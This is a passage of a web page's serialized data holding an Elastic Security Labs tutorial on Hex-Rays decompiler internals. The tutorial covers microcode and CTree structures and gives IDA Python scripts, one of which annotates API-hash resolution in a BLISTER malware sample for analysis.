*cswitch; ///\u003c details of switch-statement\n creturn_t *creturn; ///\u003c details of return-statement\n cgoto_t *cgoto; ///\u003c details of goto-statement\n casm_t *casm; ///\u003c details of asm-statement\n };\n//...\n```\n\nIn the example below, the condition node of type `cit_if` has two child nodes: the left one is of type `cit_block` which represents the \"True\" branch and the right is the condition to evaluate, which is a call to a function, a third child is missing as the condition does not have a \"False\" branch.\n\nThe following is a graph showcasing the statement node cit_if\n\n![A graph showcasing the statement node cit_if](/assets/images/introduction-to-hexrays-decompilation-internals/image1.png)\n\nFind the associated decompilation for the above CTree:\n\n![The associated decompilation for the above CTree](/assets/images/introduction-to-hexrays-decompilation-internals/image8.png)\n\nThe same logic applies to expressions nodes `cexpr_t`, depending on the node type, different attributes are available, as an example, a node of type `cot_asg` has children nodes accessible with the fields `x` and `y`.\n\n![A graph showcasing the expression node cot_asg](/assets/images/introduction-to-hexrays-decompilation-internals/image2.png)\n\n```C\nstruct cexpr_t : public citem_t\n{\n union\n {\n cnumber_t *n; ///\u003c used for \\ref cot_num\n fnumber_t *fpc; ///\u003c used for \\ref cot_fnum\n struct\n {\n union\n {\n var_ref_t v; ///\u003c used for \\ref cot_var\n ea_t obj_ea; ///\u003c used for \\ref cot_obj\n };\n int refwidth; ///\u003c how many bytes are accessed? (-1: none)\n };\n struct\n {\n cexpr_t *x; ///\u003c the first operand of the expression\n union\n {\n cexpr_t *y; ///\u003c the second operand of the expression\n carglist_t *a;///\u003c argument list (used for \\ref cot_call)\n uint32 m; ///\u003c member offset (used for \\ref cot_memptr, \\ref cot_memref)\n ///\u003c for unions, the member number\n };\n union\n {\n cexpr_t *z; ///\u003c the third operand of the expression\n int ptrsize; ///\u003c memory access size (used for \\ref cot_ptr, \\ref cot_memptr)\n };\n };\n//...\n```\n\nFinally the [`cfunc_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcfunc__t.shtml) structure holds information related to the decompiled function, the function address, the microcode block array, and the CTree accessed with the `entry_ea`, `mba` and `body` fields respectively.\n\n```C\nstruct cfunc_t\n{\n ea_t entry_ea; ///\u003c function entry address\n mba_t *mba; ///\u003c underlying microcode\n cinsn_t body; ///\u003c function body, must be a block\n//...\n```\n\n### CTree traversal example\n\nThe provided Python code serves as a mini recursive visitor of a CTree, note that it does not handle all node types, the last section will describe how to use the Hex-Rays built-in visitor class [`ctree_visitor_t`](https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml). To begin, we obtain the `cfunc` of the function using `ida_hexrays.decompile` and access its CTree via the `body` field.\n\nNext, we check if the node(item) is an expression or a statement. Finally, we can parse the type through the `op` field and explore its child nodes.\n\n```Python\nimport idaapi\nimport ida_hexrays\n\nOP_TYPE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('cit_') or y.startswith('cot_'), dir(ida_hexrays))])\n\n\ndef get_op_name(op):\n \"\"\"\n Return the name of the given mcode_t.\n \"\"\"\n for value, name in OP_TYPE:\n if op == value:\n return name\n return None\n\n\ndef explore_ctree(item):\n print(f\"item address: {hex(item.ea)}, item opname: {item.opname}, item op: {get_op_name(item.op)}\")\n if item.is_expr():\n if item.op == ida_hexrays.cot_asg:\n explore_ctree(item.x) # left side\n explore_ctree(item.y) # right side\n\n elif item.op == ida_hexrays.cot_call:\n explore_ctree(item.x)\n for a_item in item.a: # call parameters\n explore_ctree(a_item)\n\n elif item.op == ida_hexrays.cot_memptr:\n explore_ctree(item.x)\n else:\n if item.op == ida_hexrays.cit_block:\n for i_item in item.cblock: # list of statement nodes\n explore_ctree(i_item)\n\n elif item.op == ida_hexrays.cit_expr:\n explore_ctree(item.cexpr)\n \n elif item.op == ida_hexrays.cit_return:\n explore_ctree(item.creturn.expr)\n \n\ndef main():\n cfunc = ida_hexrays.decompile(here())\n ctree = cfunc.body\n explore_ctree(ctree)\n\n\nif __name__ == '__main__':\n main()\n```\n\nDisplayed below is the output of the traversal script executed on the `start` function of a [BLISTER](https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader) [sample](https://www.virustotal.com/gui/file/c98137e064bc0cd32ed0415e19daf16ed451fe1289bc41e7251dd79326206d53):\n\n![CTree traversal script’s output, decompiled function, CTree graph](/assets/images/introduction-to-hexrays-decompilation-internals/image9.png)\n\n### Practical example: annotating the custom import table of a malware sample\n\nNow that we've gained insights into the architecture and structures of the generated CTree, let's delve into a practical application and explore how to automate the annotation of a custom import table of malware.\n\n![Annotation of a custom import table of a malware](/assets/images/introduction-to-hexrays-decompilation-internals/image4.png)\n\nHex-Rays provides a utility class [`ctree_visitor_t`](https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml) that can be used to traverse and modify the CTree, two important virtual methods to know are:\n - `visit_insn`: to visit a statement\n - `visit_expr`: to visit an expression\n\nFor this example, the same BLISTER sample is used; after locating the function that gets Windows APIs addresses by hash at address 0x7FF8CC3B0926(in the .rsrc section), adding the enumeration to the IDB and applying the enum type to its parameter, we create a class that inherits from `ctree_visitor_t`, as we are interested in expressions, we will be overriding `visit_expr` only.\n\n![CTree graph of a function at address 0x7FF8CC3B7637 generated using hrdevhelper](/assets/images/introduction-to-hexrays-decompilation-internals/image6.png)\n\nThe idea is to locate a `cot_call` node(1) of the function that resolves APIs by passing the `obj_ea` address of node’s first child to the function `idc.get_name` which will return the function name.\n\n```Python\n if expr.op == idaapi.cot_call:\n if idc.get_name(expr.x.obj_ea) == self.func_name:\n\t\t#...\n```\n\nNext retrieve the enum of the hash by accessing the right parameter of the call node(2), in our case parameter 3.\n\n```Python\n carg_1 = expr.a[HASH_ENUM_INDEX]\n api_name = ida_lines.tag_remove(carg_1.cexpr.print1(None)) # Get API name\n```\n\nThe next step is to locate the variable that has been assigned the address value of the WinAPI function. To do that we first need to locate the `cot_asg` node(3), parent of the call node by using the `find_parent_of` method under `cfunc.body` of the decompiled function.\n\n```Python\n asg_expr = self.cfunc.body.find_parent_of(expr) # Get node parent\n```\n\nFinally, we can access the first child node(4) under the `cot_asg` node, which is of type `cot_var` and get the current variable name, the Hex-Rays API [`ida_hexrays.rename_lvar`](https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#ab719cfcfa884c57284cd946ac90b3c17) is used to rename the new variable with the Windows API name taken from the enum parameter.\n\nThis process can ultimately save a significant amount of time for an analyst. Instead of spending time on relabeling variables, they can direct their attention to the core functionality. An understanding of how CTrees work can contribute to the development of more effective plugins, enabling the handling of more complex obfuscations.\n\nFor a complete understanding and context of the example, please find the entire code below:\n\n```Python\nimport idaapi\nimport ida_hexrays\nimport idc\nimport ida_lines\nimport random\nimport string\n\nHASH_ENUM_INDEX = 2\n\n\ndef generate_random_string(length):\n letters = string.ascii_letters\n return \"\".join(random.choice(letters) for _ in range(length))\n\n\nclass ctree_visitor(ida_hexrays.ctree_visitor_t):\n def __init__(self, cfunc):\n ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST)\n self.cfunc = cfunc\n self.func_name = \"sub_7FF8CC3B0926\"# API resolution function name\n\n def visit_expr(self, expr):\n if expr.op == idaapi.cot_call:\n if idc.get_name(expr.x.obj_ea) == self.func_name:\n carg_1 = expr.a[HASH_ENUM_INDEX]\n api_name = ida_lines.tag_remove(\n carg_1.cexpr.print1(None)\n ) # Get API name\n expr_parent = self.cfunc.body.find_parent_of(expr) # Get node parent\n\n # find asg node\n while expr_parent.op != idaapi.cot_asg:\n expr_parent = self.cfunc.body.find_parent_of(expr_parent)\n\n if expr_parent.cexpr.x.op == idaapi.cot_var:\n lvariable_old_name = (\n expr_parent.cexpr.x.v.getv().name\n ) # get name of variable\n ida_hexrays.rename_lvar(\n self.cfunc.entry_ea, lvariable_old_name, api_name\n ) # rename variable\n return 0\n\n\ndef main():\n cfunc = idaapi.decompile(idc.here())\n v = ctree_visitor(cfunc)\n v.apply_to(cfunc.body, None)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## Conclusion\n\nConcluding our exploration into Hex-Rays microcode and CTree generation, we've gained practical techniques for navigating the complexities of malware obfuscation. The ability to modify Hex-Rays pseudo code allows us to cut through obfuscation like Control Flow Obfuscation, remove dead code, and many more. The Hex-Rays C++ SDK emerges as a valuable resource, offering well-documented guidance for future reference. \n\nWe hope that this guide will be helpful to fellow researchers and any avid learner, please find all the scripts in our [research repository](https://github.com/elastic/labs-releases/tree/main/tools/ida_scripts).\n\n## Resources\n\n - [Ilfak Guilfanov's Decompiler Internals: Microcode presentation](https://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode-wp.pdf)\n - [Hex-Rays decompiler primer](https://hex-rays.com/blog/hex-rays-decompiler-primer)\n - [HRDevHelper](https://github.com/patois/HRDevHelper/)\n - [lucid utility](https://github.com/gaasedelen/lucid)\n - [Hex-Rays SDK](https://hex-rays.com/products/decompiler/manual/sdk/)\n - [Elastic Security Labs enablement tools](https://github.com/elastic/labs-releases)\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},c=(t,e,i,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!u.call(t,o)\u0026\u0026o!==i\u0026\u0026r(t,o,{get:()=\u003ee[o],enumerable:!(a=m(e,o))||a.enumerable});return t};var b=(t,e,i)=\u003e(i=t!=null?h(f(t)):{},c(e||!t||!t.__esModule?r(i,\"default\",{value:t,enumerable:!0}):i,t)),x=t=\u003ec(r({},\"__esModule\",{value:!0}),t);var l=_((A,s)=\u003e{s.exports=_jsx_runtime});var k={};g(k,{default:()=\u003ev,frontmatter:()=\u003ey});var n=b(l()),y={title:\"Introduction to Hex-Rays decompilation internals\",slug:\"introduction-to-hexrays-decompilation-internals\",date:\"2024-02-14\",description:\"In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code.\",author:[{slug:\"salim-bitam\"}],image:\"photo-edited-05.png\",category:[{slug:\"malware-analysis\"}],tags:[\"malware-analysis\"]};function d(t){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ol:\"ol\",li:\"li\",br:\"br\",code:\"code\",img:\"img\",em:\"em\",pre:\"pre\",h3:\"h3\",ul:\"ul\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"introduction\",children:\"Introduction\"}),`\n`,(0,n.jsx)(e.p,{children:\"In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code. The final section includes a practical example demonstrating how to annotate a custom import table for malware analysis.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"This guide is meant to help reverse engineers and malware analysts better understand the internal structures used during IDA's function decompilation. We advise keeping an eye on the \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/index.shtml\",rel:\"nofollow\",children:\"Hex-Rays SDK\"}),\" that can be found under IDA PRO\\u2019s plugins directory, all the structures discussed below are sourced from it.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"architecture\",children:\"Architecture\"}),`\n`,(0,n.jsx)(e.p,{children:\"Hex-Rays decompiles a function through a multistage process starting with the disassembled code of a function:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[\"Assembly code to microcode:\",(0,n.jsx)(e.br,{}),`\n`,\"It does a conversion of the assembly instructions that are stored in an \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/ida/support/sdkdoc/classinsn__t.html\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"insn_t\"})}),\" structure to microcode instructions represented by a \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/classminsn__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"minsn_t\"})}),\" structure\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsxs)(e.p,{children:[\"CTree generation:\",(0,n.jsx)(e.br,{}),`\n`,\"From the optimized microcode, Hex-Rays generates the Abstract Syntax Tree(AST), its nodes are either statements (\",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cinsn_t\"})}),\") or expressions (\",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cexpr_t\"})}),\"); note that both \",(0,n.jsx)(e.code,{children:\"cinsn_t\"}),\" and \",(0,n.jsx)(e.code,{children:\"cexpr_t\"}),\" inherit from the \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"citem_t\"})}),\" structure\"]}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"microcode\",children:\"Microcode\"}),`\n`,(0,n.jsx)(e.p,{children:\"Microcode is an intermediate language (IL) used by Hex-Rays, generated by lifting the assembly code of a binary. This has multiple advantages, one of which is that it is processor-independent.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following screenshot displays the assembly and decompiled code, alongside its microcode extracted using \",(0,n.jsx)(e.a,{href:\"https://github.com/gaasedelen/lucid\",rel:\"nofollow\",children:\"Lucid\"}),\", a tool that facilitates microcode visualization.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image5.png\",alt:\"A view of the assembly code, decompiled code, and microcode\",width:\"1440\",height:\"270\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"We can access the MBA (microcode block array) through the \",(0,n.jsx)(e.code,{children:\"cfunc_t\"}),\" structure of a decompiled function with the MBA field.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.em,{children:\"Tip:\"}),\" we get the \",(0,n.jsx)(e.code,{children:\"cfunc_t\"}),\" of a decompiled function with the \",(0,n.jsx)(e.code,{children:\"ida_hexrays.decompile\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/classmba__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"mba_t\"})}),\" is an array of micro blocks \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/classmblock__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"mblock_t\"})}),\", the first block represents the entry point of the function and the last one represents the end. Micro blocks (\",(0,n.jsx)(e.code,{children:\"mblock_t\"}),\") are structured in a double linked list, we can access the next / previous block with \",(0,n.jsx)(e.code,{children:\"nextb\"}),\"/\",(0,n.jsx)(e.code,{children:\"prevb\"}),\" fields respectively. Each \",(0,n.jsx)(e.code,{children:\"mblock_t\"}),\" includes a double linked list of microcode instructions \",(0,n.jsx)(e.code,{children:\"minsn_t\"}),\", accessed by the field \",(0,n.jsx)(e.code,{children:\"head\"}),\" for the first instruction of the block and \",(0,n.jsx)(e.code,{children:\"tail\"}),\" for the last instruction of the block. The \",(0,n.jsx)(e.code,{children:\"mblock_t\"}),\" structure is depicted in the following code snippet.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`class mblock_t\n{\n//...\npublic:\n mblock_t *nextb; ///\u003c next block in the doubly linked list\n mblock_t *prevb; ///\u003c previous block in the doubly linked list\n uint32 flags; ///\u003c combination of \\\\ref MBL_ bits\n ea_t start; ///\u003c start address\n ea_t end; ///\u003c end address\n minsn_t *head; ///\u003c pointer to the first instruction of the block\n minsn_t *tail; ///\u003c pointer to the last instruction of the block\n mba_t *mba; \n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"A microcode instruction \",(0,n.jsx)(e.code,{children:\"minsn_t\"}),\" is a double linked list, each microcode instruction contains 3 operands: left, right, and destination. We can access the next/previous microcode instruction of the same block with \",(0,n.jsx)(e.code,{children:\"next\"}),\"/\",(0,n.jsx)(e.code,{children:\"prev\"}),\" fields; the opcode field is an enumeration (\",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#:~:text=enum-,mcode_t,-%7B%0A%C2%A0%C2%A0m_nop\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"mcode_t\"})}),\") of all the microinstruction opcodes, for example, the \",(0,n.jsx)(e.code,{children:\"m_mov\"}),\" enum represents the \",(0,n.jsx)(e.code,{children:\"mov\"}),\" opcode.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`class minsn_t\n{\n//...\npublic:\n mcode_t opcode; ///\u003c instruction opcode enumeration\n int iprops; ///\u003c combination of \\\\ref IPROP_ bits\n minsn_t *next; ///\u003c next insn in doubly linked list. check also nexti()\n minsn_t *prev; ///\u003c prev insn in doubly linked list. check also previ()\n ea_t ea; ///\u003c instruction address\n mop_t l; ///\u003c left operand\n mop_t r; ///\u003c right operand\n mop_t d; ///\u003c destination operand\n //...\n\nenum mcode_t\n{\n m_nop = 0x00, // nop // no operation\n m_stx = 0x01, // stx l, {r=sel, d=off} // store register to memory \n m_ldx = 0x02, // ldx {l=sel,r=off}, d // load register from memory \n m_ldc = 0x03, // ldc l=const, d // load constant\n m_mov = 0x04, // mov l, d // move \n m_neg = 0x05, // neg l, d // negate\n m_lnot = 0x06, // lnot l, d // logical not\n//...\n};\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Each operand is of type \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/classmop__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"mop_t\"})}),\", depending on the type (accessed with the \",(0,n.jsx)(e.code,{children:\"t\"}),\" field) it can hold registers, immediate values, and even nested microcode instructions. As an example, the following is the microcode of a function with multiple nested instructions:\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image3.png\",alt:\"Nested microcode instructions\",width:\"1096\",height:\"234\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`class mop_t\n{\n\tpublic:\n\t /// Operand type.\n\t mopt_t t;\n\tunion\n\t {\n\t mreg_t r; // mop_r register number\n\t mnumber_t *nnn; // mop_n immediate value\n\t minsn_t *d; // mop_d result (destination) of another instruction\n\t stkvar_ref_t *s; // mop_S stack variable\n\t ea_t g; // mop_v global variable (its linear address)\n\t int b; // mop_b block number (used in jmp,call instructions)\n\t mcallinfo_t *f; // mop_f function call information\n\t lvar_ref_t *l; // mop_l local variable\n\t mop_addr_t *a; // mop_a variable whose address is taken\n\t char *helper; // mop_h helper function name\n\t char *cstr; // mop_str utf8 string constant, user representation\n\t mcases_t *c; // mop_c cases\n\t fnumber_t *fpc; // mop_fn floating point constant\n\t mop_pair_t *pair; // mop_p operand pair\n\t scif_t *scif; // mop_sc scattered operand info\n\t };\n\t#...\n}\n\n/// Instruction operand types\ntypedef uint8 mopt_t;\nconst mopt_t\n mop_z = 0, ///\u003c none\n mop_r = 1, ///\u003c register (they exist until MMAT_LVARS)\n mop_n = 2, ///\u003c immediate number constant\n mop_str = 3, ///\u003c immediate string constant (user representation)\n #...\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The microcode generation progresses through various maturity levels, also referred to as optimization levels. The initial level, \",(0,n.jsx)(e.code,{children:\"MMAT_GENERATED\"}),\", involves the direct translation of assembly code into microcode. The final optimization level before generating the CTree is \",(0,n.jsx)(e.code,{children:\"MMAT_LVARS\"}),\".\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`enum mba_maturity_t\n{\n MMAT_ZERO, ///\u003c microcode does not exist\n MMAT_GENERATED, ///\u003c generated microcode\n MMAT_PREOPTIMIZED, ///\u003c preoptimized pass is complete\n MMAT_LOCOPT, ///\u003c local optimization of each basic block is complete.\n ///\u003c control flow graph is ready too.\n MMAT_CALLS, ///\u003c detected call arguments\n MMAT_GLBOPT1, ///\u003c performed the first pass of global optimization\n MMAT_GLBOPT2, ///\u003c most global optimization passes are done\n MMAT_GLBOPT3, ///\u003c completed all global optimization. microcode is fixed now.\n MMAT_LVARS, ///\u003c allocated local variables\n};\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"microcode-traversal-example\",children:\"Microcode traversal example\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The following Python code is used as an example of how to traverse and print the microcode instructions of a function, it traverses the microcode generated at the first maturity level (\",(0,n.jsx)(e.code,{children:\"MMAT_GENERATED\"}),\").\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`import idaapi\nimport ida_hexrays\nimport ida_lines\n\n\nMCODE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('m_'), dir(ida_hexrays))])\n\ndef get_mcode_name(mcode):\n \"\"\"\n Return the name of the given mcode_t.\n \"\"\"\n for value, name in MCODE:\n if mcode == value:\n return name\n return None\n\n\ndef parse_mop_t(mop):\n if mop.t != ida_hexrays.mop_z:\n return ida_lines.tag_remove(mop._print())\n return ''\n\n\ndef parse_minsn_t(minsn):\n opcode = get_mcode_name(minsn.opcode)\n ea = minsn.ea\n \n text = hex(ea) + \" \" + opcode\n for mop in [minsn.l, minsn.r, minsn.d]:\n text += ' ' + parse_mop_t(mop)\n print(text)\n \n \ndef parse_mblock_t(mblock):\n minsn = mblock.head\n while minsn and minsn != mblock.tail:\n parse_minsn_t(minsn)\n minsn = minsn.next\n \n\ndef parse_mba_t(mba):\n for i in range(0, mba.qty):\n mblock_n = mba.get_mblock(i)\n parse_mblock_t(mblock_n)\n\n\ndef main():\n func = idaapi.get_func(here()) # Gets the function at the current cursor\n maturity = ida_hexrays.MMAT_GENERATED\n mbr = ida_hexrays.mba_ranges_t(func)\n hf = ida_hexrays.hexrays_failure_t()\n ida_hexrays.mark_cfunc_dirty(func.start_ea)\n mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)\n parse_mba_t(mba)\n\n\nif __name__ == '__main__':\n main()\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The script's output is presented below: on the left, the printed microcode in the console, and on the right, the assembly code by IDA:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image10.png\",alt:\"Microcode traversal script\\u2019s output, assembly code\",width:\"1387\",height:\"619\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"ctree\",children:\"CTree\"}),`\n`,(0,n.jsx)(e.p,{children:\"In this section, we'll dive into the core elements of Hex-Rays CTree structure, then proceed to a practical example demonstrating how to annotate a custom import table of malware that loads APIs dynamically.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"For a better understanding, we will be leveraging the following plugin (\",(0,n.jsx)(e.a,{href:\"https://github.com/patois/HRDevHelper\",rel:\"nofollow\",children:\"hrdevhelper\"}),\") that allows us to view the CTree nodes in IDA as a graph.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image7.png\",alt:\"CTree graph of a function generated using hrdevhelper\",width:\"1003\",height:\"507\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"citem_t\"})}),\" is an abstract class that is the base for both \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cinsn_t\"})}),\" and \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cexpr_t\"})}),\", it holds common info like the address, item type and label while also featuring constants like \",(0,n.jsx)(e.code,{children:\"is_expr\"}),\", \",(0,n.jsx)(e.code,{children:\"contains_expr\"}),\" that can be used to know the type of the object:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`struct citem_t\n{\n ea_t ea = BADADDR; ///\u003c address that corresponds to the item. may be BADADDR\n ctype_t op = cot_empty; ///\u003c item type\n int label_num = -1; ///\u003c label number. -1 means no label. items of the expression\n ///\u003c types (cot_...) should not have labels at the final maturity\n ///\u003c level, but at the intermediate levels any ctree item\n ///\u003c may have a label. Labels must be unique. Usually\n ///\u003c they correspond to the basic block numbers.\n mutable int index = -1; ///\u003c an index in cfunc_t::treeitems.\n ///\u003c meaningful only after print_func()\n//...\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The item type accessed with the \",(0,n.jsx)(e.code,{children:\"op\"}),\" field indicates the type of the node, expression nodes are prefixed with \",(0,n.jsx)(e.code,{children:\"cot_\"}),\" and the statements nodes are prefixed with \",(0,n.jsx)(e.code,{children:\"cit_\"}),\", example \",(0,n.jsx)(e.code,{children:\"cot_asg\"}),\" indicates that the node is an assignment expression while \",(0,n.jsx)(e.code,{children:\"cit_if\"}),\" indicates that the node is a condition (if) statement.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Depending on the type of the statement node, a \",(0,n.jsx)(e.code,{children:\"cinsn_t\"}),\" can have a different attribute for example if the item type is \",(0,n.jsx)(e.code,{children:\"cit_if\"}),\" we can access the detail of the condition node through the \",(0,n.jsx)(e.code,{children:\"cif\"}),\" field, as seen in the below snippet, \",(0,n.jsx)(e.code,{children:\"cinsn_t\"}),\" is implemented using a union. Note that a \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcblock__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cblock_t\"})}),\" is a block statement which is a list of \",(0,n.jsx)(e.code,{children:\"cinsn_t\"}),\" statements, we can find this type for example at the beginning of a function or after a conditional statement.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`struct cinsn_t : public citem_t\n{\n union\n {\n cblock_t *cblock; ///\u003c details of block-statement\n cexpr_t *cexpr; ///\u003c details of expression-statement\n cif_t *cif; ///\u003c details of if-statement\n cfor_t *cfor; ///\u003c details of for-statement\n cwhile_t *cwhile; ///\u003c details of while-statement\n cdo_t *cdo; ///\u003c details of do-statement\n cswitch_t *cswitch; ///\u003c details of switch-statement\n creturn_t *creturn; ///\u003c details of return-statement\n cgoto_t *cgoto; ///\u003c details of goto-statement\n casm_t *casm; ///\u003c details of asm-statement\n };\n//...\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In the example below, the condition node of type \",(0,n.jsx)(e.code,{children:\"cit_if\"}),\" has two child nodes: the left one is of type \",(0,n.jsx)(e.code,{children:\"cit_block\"}),' which represents the \"True\" branch and the right is the condition to evaluate, which is a call to a function, a third child is missing as the condition does not have a \"False\" branch.']}),`\n`,(0,n.jsx)(e.p,{children:\"The following is a graph showcasing the statement node cit_if\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image1.png\",alt:\"A graph showcasing the statement node cit_if\",width:\"1440\",height:\"205\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Find the associated decompilation for the above CTree:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image8.png\",alt:\"The associated decompilation for the above CTree\",width:\"1095\",height:\"150\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The same logic applies to expressions nodes \",(0,n.jsx)(e.code,{children:\"cexpr_t\"}),\", depending on the node type, different attributes are available, as an example, a node of type \",(0,n.jsx)(e.code,{children:\"cot_asg\"}),\" has children nodes accessible with the fields \",(0,n.jsx)(e.code,{children:\"x\"}),\" and \",(0,n.jsx)(e.code,{children:\"y\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image2.png\",alt:\"A graph showcasing the expression node cot_asg\",width:\"433\",height:\"340\"})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`struct cexpr_t : public citem_t\n{\n union\n {\n cnumber_t *n; ///\u003c used for \\\\ref cot_num\n fnumber_t *fpc; ///\u003c used for \\\\ref cot_fnum\n struct\n {\n union\n {\n var_ref_t v; ///\u003c used for \\\\ref cot_var\n ea_t obj_ea; ///\u003c used for \\\\ref cot_obj\n };\n int refwidth; ///\u003c how many bytes are accessed? (-1: none)\n };\n struct\n {\n cexpr_t *x; ///\u003c the first operand of the expression\n union\n {\n cexpr_t *y; ///\u003c the second operand of the expression\n carglist_t *a;///\u003c argument list (used for \\\\ref cot_call)\n uint32 m; ///\u003c member offset (used for \\\\ref cot_memptr, \\\\ref cot_memref)\n ///\u003c for unions, the member number\n };\n union\n {\n cexpr_t *z; ///\u003c the third operand 